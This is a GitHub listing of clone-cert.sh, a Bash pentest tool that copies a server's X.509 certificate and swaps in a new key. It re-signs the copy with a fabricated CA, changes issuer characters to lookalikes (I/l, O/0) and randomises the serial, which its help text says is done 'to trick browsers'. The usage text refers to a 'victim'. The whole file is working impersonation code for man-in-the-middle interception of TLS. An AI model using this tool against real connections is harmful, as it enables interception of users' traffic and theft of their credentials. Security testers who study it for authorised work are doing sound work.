-
Notifications
You must be signed in to change notification settings - Fork 39
/
clone-cert.sh
executable file
·560 lines (493 loc) · 18.5 KB
/
clone-cert.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
#!/bin/bash
# Adrian Vollmer, SySS GmbH 2017-2019
# Reference:
# https://security.stackexchange.com/questions/127095/manually-walking-through-the-signature-validation-of-a-certificate
#
# MIT License
#
# Copyright (c) 2017-2019 Adrian Vollmer, SySS GmbH
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
set -e
DIR="/tmp"
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
DEBUG=false
function usage(){
cat <<EOF
Usage: $0 [options] [<sni>@]<host>:<port>|<pem-file>
(Author: Adrian Vollmer, SySS GmbH 2017-2019)
Clone an X509 certificate. The cloned certificate and the corresponding key
will be located in <DIR>. Their filenames make up the output of this script.
openssl>=1.1.1 is required.
The mandatory argument can either be the path of an x509 certifcate in PEM
format, or a host name and a port number separated by a colon. Optionally, you
can precede this by a servername and an '@' if you want to specify the name
of the virtual host via SNI.
Optional parameters:
-d=<DIR>, --directory=<DIR>:
The directory in which to save the certificates and keys (default: /tmp)
-r, --reuse-keys:
Reuse previously generated suitable keys located in <DIR> for better
performance
-c=<CERT>, --cert=<CERT>:
The path to a certificate in PEM format with which to sign the host
certificate. The result will then not be cloned (i.e. some fields
will be different, in particular the issuer), but it will be a valid
certificate which will be trusted by the victim if they trust
<CERT>. You must supply a matching <KEY>.
-k=<KEY>, --key=<KEY>:
The path to a key in PEM format matching <CERT>
--keep-issuer-name:
Does not alter the issuer name, which is done otherwise to
trick browsers.
--keep-serial:
Does not alter the serial number, which is done otherwise to
trick browsers.
--debug:
Print debug messages
-h, --help:
Print this message and quit
EOF
}
function die () {
echo "$1" >&2
exit 1
}
function debug () {
if [[ $DEBUG = true ]] ; then
echo "$1" >&2
fi
}
ISSUER_CERT=""
ISSUER_KEY=""
REUSE_KEYS=false
KEEP_ISSUER_NAME=false
KEEP_SERIAL=false
for i in "$@" ; do
case $i in
-d=*|--directory=*)
DIR="${i#*=}"
shift # past argument=value
;;
-c=*|--cert=*)
ISSUER_CERT="${i#*=}"
shift # past argument=value
;;
-k=*|--key=*)
ISSUER_KEY="${i#*=}"
shift # past argument=value
;;
-r|--reuse-keys)
REUSE_KEYS=true
shift # past argument=value
;;
--keep-issuer-name)
KEEP_ISSUER_NAME=true
shift # past argument=value
;;
--keep-serial)
KEEP_SERIAL=true
shift # past argument=value
;;
--debug)
DEBUG=true
shift # past argument=value
# set -x
;;
-h|--help)
usage
exit 0
;;
-*)
echo "Unknown option: $i"
exit 1
;;
*)
break # unknown option
;;
esac
done
if [[ "$1" = "" ]] ; then
usage
exit 1
fi
# set some variables
HOST="$1"
mkdir -p "$DIR"
EC_PARAMS=$(cat <<'END_HEREDOC'
-----BEGIN EC PARAMETERS-----
MIIBogIBATBMBgcqhkjOPQEBAkEAqt2duNvpxIs/1OauM8n8B8swjbOzydIO1mOc
ynAzCHF9TZsAm8ZoQq7NoSrmo4DmKIH/Ly2CxoUoqmBWWDpI8zCBhARAqt2duNvp
xIs/1OauM8n8B8swjbOzydIO1mOcynAzCHF9TZsAm8ZoQq7NoSrmo4DmKIH/Ly2C
xoUoqmBWWDpI8ARAfLu8+UQc+rduGJDkaITq4yH3DAvLSYFSeJdQS+w+NqYrzfoj
BJdlQPZFAIXy2uFFwiVTtGV2NokYDqJXGGdCPgSBgQRkDs5cEniHF7nBugbLwqb+
uoWEJFjFbd6dsXWNOcAxPYK6UXNc2z6kmap3p9aUOmT3o/Jf4m8GtRuqJpb6kDXa
W1NL1ZX1rw+iyJI3bISs4btOMBm3FjTAETEVnK4DzunZkyGEvu8ha9cd8trfhqYn
MG7P+W27i6zhmLYeAPizMgJBAKrdnbjb6cSLP9TmrjPJ/AfLMI2zs8nSDtZjnMpw
MwhwVT5cQUypJhlBhmEZf6wQRx2x04EIXdrdtYeWgpypAGkCAQE=
-----END EC PARAMETERS-----
END_HEREDOC
)
set -u
if [[ -f "$HOST" ]] ; then
CERTNAME="$(basename "$HOST")"
else
if [[ "$HOST" != *:* ]]; then
die "Specifying a port is mandatory"
fi
CERTNAME="$HOST"
SNI="${HOST%%@*}"
if [[ ! "$SNI" = "$HOST" ]] ; then
HOST="${HOST##*@}"
fi
fi
rm -f "$DIR/${CERTNAME}_"*
function generate_rsa_key () {
# create new RSA private/public key pair (re-use private key if applicable)
local KEY_LEN="$1"
local MY_PRIV_KEY="$2"
local NEW_MODULUS=""
if [[ $REUSE_KEYS = true ]] && [[ -f "$DIR/RSA_$KEY_LEN" ]] ; then
debug "Reusing RSA key"
cp "$DIR/RSA_$KEY_LEN" "$MY_PRIV_KEY"
else
debug "Generating RSA key"
openssl genrsa -out "$MY_PRIV_KEY" "$KEY_LEN" 2> /dev/null
cp "$MY_PRIV_KEY" "$DIR/RSA_$KEY_LEN"
fi
NEW_MODULUS="$(openssl rsa -in "$MY_PRIV_KEY" -pubout 2> /dev/null \
| openssl rsa -pubin -noout -modulus \
| sed 's/Modulus=//' | tr "[:upper:]" "[:lower:]" )"
printf "%s" "$NEW_MODULUS"
}
function generate_ec_key () {
# create new EC private/public key pair (re-use private key if applicable)
local EC_PARAM_NAME="$1"
local MY_PRIV_KEY="$2"
if [[ $REUSE_KEYS = true ]] && [[ -f "$DIR/EC" ]] ; then
debug "Reusing EC key"
cp "$DIR/EC" "$MY_PRIV_KEY"
else
debug "Generating EC key"
openssl ecparam -name "$EC_PARAM_NAME" -genkey -out "$MY_PRIV_KEY" 2> /dev/null
cp "$MY_PRIV_KEY" "$DIR/EC"
fi
offset="$(openssl ec -in "$MY_PRIV_KEY" 2> /dev/null \
| openssl asn1parse \
| tail -n1 |sed 's/ \+\([0-9]\+\):.*/\1/')"
NEW_MODULUS="$(openssl ec -in "$MY_PRIV_KEY" 2> /dev/null \
| openssl asn1parse -offset "$offset" -noout \
-out >(dd bs=1 skip=2 2> /dev/null | hexlify))"
printf "%s" "$NEW_MODULUS"
}
function parse_certs () {
# read the output of s_client via stdin and clone each cert
# from https://stackoverflow.com/questions/45243785/script-wrapper-for-openssl-which-will-download-an-entire-certificate-chain-and
nl=$'\n'
state=begin
counter=0
while IFS= read -r line ; do
case "$state;$line" in
"begin;-----BEGIN CERTIFICATE-----" )
# A certificate is about to begin!
state=reading
current_cert="$line"
;;
"reading;-----END CERTIFICATE-----" )
# Last line of a cert; save it and get ready for the next
current_cert+="${current_cert:+$nl}$line"
# ...and save it
if [[ -n "$current_cert" ]] ; then
printf "%s" "$current_cert" > "$DIR/${CERTNAME}_$counter"
else
die "Error while parsing certificate"
fi
counter=$((counter+=1))
state=begin
current_cert=""
;;
"reading;"* )
# Otherwise, it's a normal part of a cert; accumulate it to be
# written out when we see the end
current_cert+="$nl$line"
;;
esac
done
}
function oid() {
# https://bugzil.la/1064636
case "$1" in
# "300d06092a864886f70d0101020500")
# ;;md2WithRSAEncryption
"300b06092a864886f70d01010b") echo sha256
;;#sha256WithRSAEncryption
"300b06092a864886f70d010105") echo sha1
;;#sha1WithRSAEncryption
"300d06092a864886f70d01010c0500") echo sha384
;;#sha384WithRSAEncryption
"300a06082a8648ce3d040303") echo sha384
;;#ecdsa-with-SHA384
"300a06082a8648ce3d040302") echo sha256
;;#ecdsa-with-SHA256
"300d06092a864886f70d0101040500") echo md5
;;#md5WithRSAEncryption
"300d06092a864886f70d01010d0500") echo sha512
;;#sha512WithRSAEncryption
"300d06092a864886f70d01010b0500") echo sha256
;;#sha256WithRSAEncryption
"300d06092a864886f70d0101050500") echo sha1
;;#sha1WithRSAEncryption
*) die "Unknow Hash Algorithm OID: $1"
;;
esac
}
function hexlify(){
xxd -p | tr -d '\n'
}
function unhexlify(){
xxd -p -r
}
function asn1-bitstring(){
# https://docs.microsoft.com/en-us/windows/desktop/seccertenroll/about-bit-string
data=$1
len=$((${#data}/2+1))
if [[ "$len" -le 127 ]] ; then
len=$(printf "%02x" $len)
else
if [[ "$len" -lt 256 ]] ; then
len=$(printf "81%02x" "$len")
else
len=$(printf "82%04x" "$len")
fi
fi
printf "03%s00%s" "$len" "$data"
}
function extract-values () {
# extract all the values we need from the original cert
SUBJECT="$(openssl x509 -in "$CERT" -noout -subject \
| sed 's/.* CN = //g')"
ISSUER="$(openssl x509 -in "$CERT" -noout -issuer \
| sed 's/.* CN = //g')"
ISSUER_DN="$(openssl x509 -in "$CERT" -noout -issuer -nameopt compat \
| sed 's/^issuer=//')"
SUBJECT_DN="$(openssl x509 -in "$CERT" -noout -subject -nameopt compat \
| sed 's/^subject=//')"
if [[ ! $ISSUER_DN =~ ^/ ]] ; then # openssl < 1.1.1
debug "Fixing DNs because OpenSSL version is under 1.1.1"
ISSUER_DN="$(echo "/$ISSUER_DN" | sed 's/, /\//g')"
SUBJECT_DN="$(echo "/$SUBJECT_DN" | sed 's/, /\//g')"
fi
SELF_SIGNED=false
[[ $ISSUER_DN = "$SUBJECT_DN" ]] && SELF_SIGNED=true
debug "self-signed: $SELF_SIGNED"
SERIAL="$(openssl x509 -in "$CERT" -noout -serial \
| sed 's/serial=//g' | tr 'A-F' 'a-f')"
AUTH_KEY_IDENTIFIER="$(openssl asn1parse -in "$CERT" \
| grep -A1 ":X509v3 Authority Key Identifier" | tail -n1 \
| sed 's/.*\[HEX DUMP\]://' \
| sed 's/^.\{8\}//')"
debug "Original AuthKeyIdentifier: $AUTH_KEY_IDENTIFIER"
}
function create-fake-CA () {
openssl req -x509 -new -nodes -days 1024 -sha256 \
-subj "$NEW_ISSUER_DN" \
-config <(sed "s/.*subjectKeyIdentifier.*=.*hash/subjectKeyIdentifier=$AUTH_KEY_IDENTIFIER/" /etc/ssl/openssl.cnf) \
"$@" \
-out "$FAKE_ISSUER_CERT" 2> /dev/null
}
function clone_cert () {
local CERT="$1"
extract-values
# if it is not self-signed and we have no compromised CA, change the
# issuer or no browser will allow an exception.
# it needs to stay the same length though.
if [[ $SELF_SIGNED = false && $KEEP_ISSUER_NAME = false ]]; then
if [[ $ISSUER =~ I ]] ; then
NEW_ISSUER=$(printf "%s" "$ISSUER" | sed "s/I/l/")
elif [[ $ISSUER =~ l ]] ; then
NEW_ISSUER=$(printf "%s" "$ISSUER" | sed "s/l/I/")
elif [[ $ISSUER =~ O ]] ; then
NEW_ISSUER=$(printf "%s" "$ISSUER" | sed "s/O/0/")
elif [[ $ISSUER =~ 0 ]] ; then
NEW_ISSUER=$(printf "%s" "$ISSUER" | sed "s/0/O/")
else
NEW_ISSUER=$(printf "%s" "$ISSUER" | sed "s/.$/ /")
fi
else
NEW_ISSUER=$ISSUER
fi
# if it is not self-signed, the serial needs to be changed, too
# because browsers keep track of that
if [[ $SELF_SIGNED = false && $KEEP_SERIAL = false ]]; then
# avoid negative serial number
# only change 16 hex digits in the middle
NEW_SERIAL=$(openssl rand -hex 8)
NEW_SERIAL=$(printf "%s" "$SERIAL" | sed "s/.\{16\}\(.\{4\}\)\$/$NEW_SERIAL\1/")
else
NEW_SERIAL=$SERIAL
fi
ISSUER=$(printf "%s" "$ISSUER" | hexlify)
NEW_ISSUER=$(printf "%s" "$NEW_ISSUER" | hexlify)
NEW_ISSUER_DN="$(printf "%s" "$ISSUER_DN" | hexlify | sed "s/$ISSUER/$NEW_ISSUER/" | unhexlify)"
CLONED_CERT="${CERT}.cert"
CLONED_KEY="${CERT}.key"
FAKE_ISSUER_KEY="${CERT}.CA.key"
FAKE_ISSUER_CERT="${CERT}.CA.cert"
OLD_MODULUS="$(openssl x509 -in "$CERT" -modulus -noout \
| sed -e 's/Modulus=//' | tr "[:upper:]" "[:lower:]")"
if [[ $OLD_MODULUS = "wrong algorithm type" ]] ; then
# it's EC and not RSA (or maybe DSA...)
SCHEME=ec
offset="$(openssl x509 -in "$CERT" -pubkey -noout 2> /dev/null \
| openssl asn1parse \
| tail -n1 |sed 's/ \+\([0-9]\+\):.*/\1/')"
OLD_MODULUS="$(openssl x509 -in "$CERT" -pubkey -noout 2> /dev/null \
| openssl asn1parse -offset "$offset" -noout \
-out >(dd bs=1 skip=2 2> /dev/null | hexlify))"
EC_OID="$(openssl x509 -in "$CERT" -text -noout \
| grep "ASN1 OID: " | sed 's/.*: //')"
NEW_MODULUS="$(generate_ec_key "$EC_OID" "$CLONED_KEY")"
if [[ $SELF_SIGNED = true ]] ; then
FAKE_ISSUER_KEY="$CLONED_KEY"
FAKE_ISSUER_CERT="$CLONED_CERT"
else
if [[ $REUSE_KEYS = true ]] && [[ -f "$DIR/EC" ]] ; then
create-fake-CA -key "$DIR/EC"
FAKE_ISSUER_KEY="$DIR/EC"
else
create-fake-CA -keyout "$FAKE_ISSUER_KEY"
fi
fi
else
SCHEME=rsa
# get the key length of the public key
KEY_LEN="$(openssl x509 -in "$CERT" -noout -text \
| grep Public-Key: | grep -o "[0-9]\+")"
NEW_MODULUS="$(generate_rsa_key "$KEY_LEN" "$CLONED_KEY")"
if [[ $SELF_SIGNED = true ]] ; then
FAKE_ISSUER_KEY="$CLONED_KEY"
FAKE_ISSUER_CERT="$CLONED_CERT"
else
if [[ $REUSE_KEYS = true ]] && [[ -f "$DIR/RSA_2048" ]] ; then
create-fake-CA -key "$DIR/RSA_2048"
FAKE_ISSUER_KEY="$DIR/RSA_2048"
else
create-fake-CA -keyout "$FAKE_ISSUER_KEY"
fi
fi
fi
if [[ -n "$ISSUER_CERT" && -n "$ISSUER_KEY" ]] ; then
# sign it regularly with given cert
FAKE_ISSUER_KEY="$ISSUER_KEY"
FAKE_ISSUER_CERT="$ISSUER_CERT"
ISSUER_KEY_IDENTIFIER="$(openssl x509 -in "$ISSUER_CERT" -ext subjectKeyIdentifier -noout \
| sed -ne '2s/[ :]//gp' | tr 'A-F' 'a-f')"
AUTH_KEY_IDENTIFIER="$(openssl x509 -in "$CERT" -ext authorityKeyIdentifier -noout \
| sed -ne '2s/[ :]\|keyid//gp' | tr 'A-F' 'a-f')"
openssl x509 -in "$CERT" -outform DER | hexlify \
| sed "s/$OLD_MODULUS/$NEW_MODULUS/" \
| sed "s/$AUTH_KEY_IDENTIFIER/$ISSUER_KEY_IDENTIFIER/" \
| unhexlify \
| openssl x509 -days 356 -inform DER -CAkey "$ISSUER_KEY" \
-CA "$ISSUER_CERT" -CAcreateserial \
-out "$CLONED_CERT" 2> /dev/null
return-result
else
if [[ -n "$ISSUER_CERT" || -n "$ISSUER_KEY" ]] ; then
die "If you provide one of <KEY> or <CERT>, you must also provide the other"
fi
fi
# extract old signature
offset="$(openssl asn1parse -in "$CERT" | grep SEQUENCE \
| tail -n1 |sed 's/ \+\([0-9]\+\):.*/\1/' | head -n1)"
SIGNING_ALGO="$(openssl asn1parse -in "$CERT" \
-strparse "$offset" -noout -out >(hexlify))"
offset="$(openssl asn1parse -in "$CERT" \
| tail -n1 |sed 's/ \+\([0-9]\+\):.*/\1/' | head -n1)"
OLD_SIGNATURE="$(openssl asn1parse -in "$CERT" \
-strparse "$offset" -noout -out >(hexlify))"
OLD_TBS_CERTIFICATE="$(openssl asn1parse -in "$CERT" \
-strparse 4 -noout -out >(hexlify))"
# create new signature
NEW_TBS_CERTIFICATE="$(printf "%s" "$OLD_TBS_CERTIFICATE" \
| sed "s/$ISSUER/$NEW_ISSUER/" \
| sed "s/$SERIAL/$NEW_SERIAL/" \
| sed "s/$OLD_MODULUS/$NEW_MODULUS/")"
digest="$(oid "$SIGNING_ALGO")"
NEW_SIGNATURE="$(printf "%s" "$NEW_TBS_CERTIFICATE" | unhexlify \
| openssl "$digest" -sign "$FAKE_ISSUER_KEY" \
| hexlify)"
# replace signature, compute new asn1 length
OLD_ASN1_SIG=$(asn1-bitstring "$OLD_SIGNATURE")
NEW_ASN1_SIG=$(asn1-bitstring "$NEW_SIGNATURE")
OLD_CERT_LENGTH="$(openssl x509 -in "$CERT" -outform der \
| dd bs=2 skip=1 count=1 2> /dev/null | hexlify)"
OLD_CERT_LENGTH=$((16#$OLD_CERT_LENGTH))
NEW_CERT_LENGTH=$((OLD_CERT_LENGTH \
-${#OLD_ASN1_SIG}/2+${#NEW_ASN1_SIG}/2 \
))
OLD_CERT_LENGTH="$(printf "%04x" $OLD_CERT_LENGTH)"
NEW_CERT_LENGTH="$(printf "%04x" $NEW_CERT_LENGTH)"
openssl x509 -in "$CERT" -outform DER | hexlify \
| sed "s/$OLD_MODULUS/$NEW_MODULUS/" \
| sed "s/$ISSUER/$NEW_ISSUER/" \
| sed "s/$SERIAL/$NEW_SERIAL/" \
| sed "s/$OLD_ASN1_SIG/$NEW_ASN1_SIG/" \
| sed "s/^\(....\)$OLD_CERT_LENGTH/\1$NEW_CERT_LENGTH/" \
| unhexlify \
| openssl x509 -inform DER -outform PEM > "$CLONED_CERT"
if [[ ! -s "$CLONED_CERT" ]] ; then
rm "$CLONED_CERT"
rm "$CLONED_KEY"
die "Cloning failed"
fi
return-result
}
function return-result () {
sanity-check || ( rm -rf "$CLONED_KEY" "$CLONED_CERT" ; exit 1)
printf "%s\n" "$CLONED_KEY"
printf "%s\n" "$CLONED_CERT"
exit 0
}
function sanity-check () {
# check whether the key pair matches, and whether the cert validates
debug "$(diff \
<(openssl x509 -noout -text -in "$CLONED_CERT") \
<(openssl x509 -noout -text -in "$CERT"))"
diff -q <(openssl x509 -in "$CLONED_CERT" -pubkey -noout 2> /dev/null ) \
<(openssl $SCHEME -in "$CLONED_KEY" -pubout 2> /dev/null) \
|| ( echo Key mismatch, probably due to a bug >&2; return 1 )
if [[ $SELF_SIGNED = true ]] ; then return 0 ; fi
openssl verify -CAfile "$FAKE_ISSUER_CERT" "$CLONED_CERT" > /dev/null \
|| ( echo Verification failed, probably due to a bug >&2; return 1 )
}
function main () {
if [[ -f "$HOST" ]] ; then
clone_cert "$HOST"
else
# save all certificates in chain
openssl s_client -servername "$SNI" \
-verify 5 \
-showcerts -connect "$HOST" < /dev/null 2>/dev/null | \
parse_certs
# clone the host cert
clone_cert "$DIR/${CERTNAME}_0"
fi
}
main